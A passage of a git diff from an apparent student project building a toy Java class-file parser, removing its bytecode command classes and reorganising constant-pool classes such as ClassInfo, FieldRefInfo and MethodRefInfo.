 		this.thisClassIndex = thisClassIndex;
 	}
+
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
 }
\ No newline at end of file
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index cd0fbd4848..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index a3abeacc82..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/CommandParser.java b/group12/382266293/src/com/coderising/jvm/cmd/CommandParser.java
deleted file mode 100644
index 9a4be8a37a..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,179 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public class CommandParser {
-	
-	public static final String aconst_null = "01";
-	public static final String new_object = "BB";
-	public static final String lstore = "37";
-	public static final String invokespecial = "B7";
-	public static final String invokevirtual = "B6";
-	public static final String getfield = "B4";
-	public static final String putfield = "B5";
-	public static final String getstatic = "B2";
-	public static final String ldc = "12";
-	public static final String dup = "59";
-	public static final String bipush = "10";
-	public static final String aload_0 = "2A";
-	public static final String aload_1 = "2B";
-	public static final String aload_2 = "2C";
-	public static final String iload = "15";
-	public static final String iload_1 = "1B";
-	public static final String iload_2 = "1C";
-	public static final String iload_3 = "1D";
-	public static final String fload_3 = "25";
-
-	public static final String voidreturn = "B1";
-	public static final String ireturn = "AC";
-	public static final String freturn = "AE";
-
-	public static final String astore_1 = "4C";
-	public static final String if_icmp_ge = "A2";
-	public static final String if_icmple = "A4";
-	public static final String goto_no_condition = "A7";
-	public static final String iconst_0 = "03";
-	public static final String iconst_1 = "04";
-	public static final String istore_1 = "3C";
-	public static final String istore_2 = "3D";
-	public static final String iadd = "60";
-	public static final String iinc = "84";
-
-	
-	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-		
-		if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
-			throw new RuntimeException("the orignal code is not correct");
-
-		}
-		
-		List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
-		codes = codes.toUpperCase();
-		CommandIterator iter = new CommandIterator(codes);
-		
-		while (iter.hasNext()) {
-			String opCode = iter.next2CharAsString();
-
-			if (new_object.equals(opCode)) {
-				
-				NewObjectCmd cmd = new NewObjectCmd(clzFile,opCode);
-				
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				
-				cmds.add(cmd);
-			} else if (invokespecial.equals(opCode)) {
-				
-				InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile,opCode);
-				
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				
-				cmds.add(cmd);
-			} else if (invokevirtual.equals(opCode)) {
-				
-				InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile,opCode);
-				
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				
-				cmds.add(cmd);
-			} else if (getfield.equals(opCode)) {
-				
-				GetFieldCmd cmd = new GetFieldCmd(clzFile,opCode);
-				
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				
-				cmds.add(cmd);
-			} else if (putfield.equals(opCode)) {
-				
-				PutFieldCmd cmd = new PutFieldCmd(clzFile,opCode);
-				
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				
-				cmds.add(cmd);
-			} else if (getstatic.equals(opCode)) {
-				
-				GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile,opCode);
-				
-				cmd.setOprand1(iter.next2CharAsInt());
-				cmd.setOprand2(iter.next2CharAsInt());
-				
-				cmds.add(cmd);
-			} else if (ldc.equals(opCode)) {
-				
-				LdcCmd cmd = new LdcCmd(clzFile,opCode);
-				
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (bipush.equals(opCode)) {
-				
-				BiPushCmd cmd = new BiPushCmd(clzFile,opCode);
-				
-				cmd.setOperand(iter.next2CharAsInt());
-				cmds.add(cmd);
-			} else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
-					|| iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
-					|| fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
-
-				NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
-				
-				cmds.add(cmd);
-			} else {
-				throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
-			}
-			
-			calculateOffset(cmds);
-			
-			
-		}
-		
-		
-		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
-		cmds.toArray(result);
-
-		
-		return result;
-	}
-
-	private static void calculateOffset(List<ByteCodeCommand> cmds) {
-
-		int offset = 0;
-		for (ByteCodeCommand cmd : cmds) {
-			cmd.setOffset(offset);
-			offset += cmd.getLength();
-		}
-
-	}
-
-	private static class CommandIterator {
-		String codes = null;
-		int pos = 0;
-
-		CommandIterator(String codes) {
-			this.codes = codes;
-		}
-
-		public boolean hasNext() {
-			return pos < this.codes.length();
-		}
-
-		public String next2CharAsString() {
-			String result = codes.substring(pos, pos + 2);
-			pos += 2;
-			return result;
-		}
-
-		public int next2CharAsInt() {
-			String s = this.next2CharAsString();
-			return Integer.valueOf(s, 16).intValue();
-		}
-
-	}
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index 2e6061edd2..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-	public GetFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-	
-	
-
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index e6cf9d5960..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index ac228d0e4d..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index c15d827797..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java
deleted file mode 100644
index ffb66f811c..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 33813b5d59..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 56c28fefe2..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 963d064257..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index 85bb369c19..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
diff --git a/group12/382266293/src/com/coderising/jvm/cmd/TwoOperandCmd.java b/group12/382266293/src/com/coderising/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 6c0cf53082..0000000000
--- a/group12/382266293/src/com/coderising/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.constant.FieldRefInfo;
-import com.coderising.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group12/382266293/src/com/coderising/jvm/constant/ClassInfo.java b/group12/382266293/src/com/coderising/jvm/constant/ClassInfo.java
index b6ddbad601..4b593e7347 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/ClassInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/ClassInfo.java
@@ -1,7 +1,5 @@
 package com.coderising.jvm.constant;
 
-import com.coderising.jvm.print.PrintVisitor;
-
 public class ClassInfo extends ConstantInfo {
 	private int type = ConstantInfo.CLASS_INFO;
 	private int utf8Index;
@@ -10,17 +8,6 @@ public ClassInfo(ConstantPool pool) {
 		super(pool);
 	}
 
-	public String getClassName() {
-		int index = getUtf8Index();
-		UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
-		return utf8Info.getValue();
-	}
-
-	@Override
-	public int getType() {
-		return type;
-	}
-
 	public int getUtf8Index() {
 		return utf8Index;
 	}
@@ -29,9 +16,13 @@ public void setUtf8Index(int utf8Index) {
 		this.utf8Index = utf8Index;
 	}
 
-	@Override
-	public void accept(PrintVisitor visitor) {
-		visitor.visit(this);		
+	public int getType() {
+		return type;
 	}
 
+	public String getClassName() {
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info) constantPool.getConstantInfo(index);
+		return utf8Info.getValue();
+	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/ConstantInfo.java b/group12/382266293/src/com/coderising/jvm/constant/ConstantInfo.java
index a2d0153f93..96845046b3 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/ConstantInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -1,7 +1,5 @@
 package com.coderising.jvm.constant;
 
-import com.coderising.jvm.print.PrintVisitor;
-
 public abstract class ConstantInfo {
 	public static final int UTF8_INFO = 1;
 	public static final int FLOAT_INFO = 4;
@@ -21,16 +19,14 @@ public ConstantInfo(ConstantPool pool) {
 		pool.addConstantInfo(this);
 	}
 
-	public ConstantInfo getConstantInfo(int index) {
-		return this.constantPool.getConstantInfo(index);
-	}
+	public abstract int getType();
 
 	public ConstantPool getConstantPool() {
 		return constantPool;
 	}
 
-	public abstract int getType();
-
-	public abstract void accept(PrintVisitor visitor);
+	public ConstantInfo getConstantInfo(int index) {
+		return this.constantPool.getConstantInfo(index);
+	}
 
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/ConstantPool.java b/group12/382266293/src/com/coderising/jvm/constant/ConstantPool.java
index 40f95c7d77..95c44dde8f 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/ConstantPool.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/ConstantPool.java
@@ -21,17 +21,12 @@ public ConstantInfo getConstantInfo(int index) {
 		//System.out.println(this.constantInfos.get(index));
 		return this.constantInfos.get(index);
 	}
-	
-	public List<ConstantInfo> getConstantInfos() {
 
-		return constantInfos;
+	public String getUTF8String(int index) {
+		return ((UTF8Info) this.constantInfos.get(index)).getValue();
 	}
 
-	public int getSize() {
+	public Object getSize() {
 		return this.constantInfos.size() - 1;
 	}
-
-	public String getUTF8String(int index) {
-		return ((UTF8Info) this.constantInfos.get(index)).getValue();
-	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/FieldRefInfo.java b/group12/382266293/src/com/coderising/jvm/constant/FieldRefInfo.java
index 7e353c3009..e9f34e550c 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/FieldRefInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -1,7 +1,5 @@
 package com.coderising.jvm.constant;
 
-import com.coderising.jvm.print.PrintVisitor;
-
 public class FieldRefInfo extends ConstantInfo {
 	private int type = ConstantInfo.FIELD_INFO;
 	private int classInfoIndex;
@@ -11,10 +9,33 @@ public FieldRefInfo(ConstantPool pool) {
 		super(pool);
 	}
 
+	public int getType() {
+		return type;
+	}
+
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
 
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+
+	public String toString() {
+
+		NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+
+		return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
+	}
+
 	public String getClassName() {
 
 		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
@@ -34,34 +55,4 @@ public String getFieldType() {
 		NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
-
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-
-	@Override
-	public int getType() {
-		return type;
-	}
-
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-
-	@Override
-	public String toString() {
-
-		NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
-
-		return getClassName() + " : " + typeInfo.getName() + ":" + typeInfo.getTypeInfo() + "]";
-	}
-
-	@Override
-	public void accept(PrintVisitor visitor) {
-		visitor.visit(this);		
-	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java b/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java
index 05882cd5f2..d58de16f72 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -1,7 +1,5 @@
 package com.coderising.jvm.constant;
 
-import com.coderising.jvm.print.PrintVisitor;
-
 public class MethodRefInfo extends ConstantInfo {
 
 	private int type = ConstantInfo.METHOD_INFO;
@@ -13,10 +11,31 @@ public MethodRefInfo(ConstantPool pool) {
 		super(pool);
 	}
 
+	public int getType() {
+		return type;
+	}
+
 	public int getClassInfoIndex() {
 		return classInfoIndex;
 	}
 
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+
+	public String toString() {
+
+		return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
+	}
+
 	public String getClassName() {
 		ConstantPool pool = this.getConstantPool();
 		ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
@@ -29,38 +48,10 @@ public String getMethodName() {
 		return typeInfo.getName();
 	}
 
-	public int getNameAndTypeIndex() {
-		return nameAndTypeIndex;
-	}
-
 	public String getParamAndReturnType() {
 		ConstantPool pool = this.getConstantPool();
 		NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
 		return typeInfo.getTypeInfo();
 	}
 
-	@Override
-	public int getType() {
-		return type;
-	}
-
-	public void setClassInfoIndex(int classInfoIndex) {
-		this.classInfoIndex = classInfoIndex;
-	}
-
-	public void setNameAndTypeIndex(int nameAndTypeIndex) {
-		this.nameAndTypeIndex = nameAndTypeIndex;
-	}
-
-	@Override
-	public String toString() {
-
-		return getClassName() + " : " + this.getMethodName() + " : " + this.getParamAndReturnType();
-	}
-	
-	@Override
-	public void accept(PrintVisitor visitor) {
-		visitor.visit(this);		
-	}
-
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group12/382266293/src/com/coderising/jvm/constant/NameAndTypeInfo.java
index 78dbe514b3..a792e2dc13 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/NameAndTypeInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -1,7 +1,5 @@
 package com.coderising.jvm.constant;
 
-import com.coderising.jvm.print.PrintVisitor;
-
 public class NameAndTypeInfo extends ConstantInfo {
 	public int type = ConstantInfo.NAME_AND_TYPE_INFO;
 
@@ -16,42 +14,35 @@ public int getIndex1() {
 		return index1;
 	}
 
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+
 	public int getIndex2() {
 		return index2;
 	}
 
-	public String getName() {
-		ConstantPool pool = this.getConstantPool();
-		UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
-		return utf8Info1.getValue();
+	public void setIndex2(int index2) {
+		this.index2 = index2;
 	}
 
-	@Override
 	public int getType() {
 		return type;
 	}
 
+	public String getName() {
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info) pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+
 	public String getTypeInfo() {
 		ConstantPool pool = this.getConstantPool();
 		UTF8Info utf8Info2 = (UTF8Info) pool.getConstantInfo(index2);
 		return utf8Info2.getValue();
 	}
 
-	public void setIndex1(int index1) {
-		this.index1 = index1;
-	}
-
-	public void setIndex2(int index2) {
-		this.index2 = index2;
-	}
-
-	@Override
 	public String toString() {
 		return "(" + getName() + "," + getTypeInfo() + ")";
 	}
-	
-	@Override
-	public void accept(PrintVisitor visitor) {
-		visitor.visit(this);		
-	}
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/NullConstantInfo.java b/group12/382266293/src/com/coderising/jvm/constant/NullConstantInfo.java
index a787901905..7d1abf7699 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/NullConstantInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -1,7 +1,5 @@
 package com.coderising.jvm.constant;
 
-import com.coderising.jvm.print.PrintVisitor;
-
 public class NullConstantInfo extends ConstantInfo {
 
 	public NullConstantInfo() {
@@ -13,13 +11,4 @@ public int getType() {
 		return -1;
 	}
 
-	@Override
-	public void accept(PrintVisitor visitor) {
-		visitor.visit(this);
-		
-	}
-	
-	
-	
-
 }
diff --git a/group12/382266293/src/com/coderising/jvm/constant/StringInfo.java b/group12/382266293/src/com/coderising/jvm/constant/StringInfo.java
index f713523450..0ea1f6bdac 100644
--- a/group12/382266293/src/com/coderising/jvm/constant/StringInfo.java
+++ b/group12/382266293/src/com/coderising/jvm/constant/StringInfo.java
@@ -1,7 +1,5 @@
 package com.coderising.jvm.constant;
 
-import com.coderising.jvm.print.PrintVisitor;
-
 public class StringInfo extends ConstantInfo {
 	private int type = ConstantInfo.STRING_INFO;
 	private int index;
@@ -10,28 +8,20 @@ public StringInfo(ConstantPool pool) {
 		super(pool);
 	}
 
-	public int getIndex() {
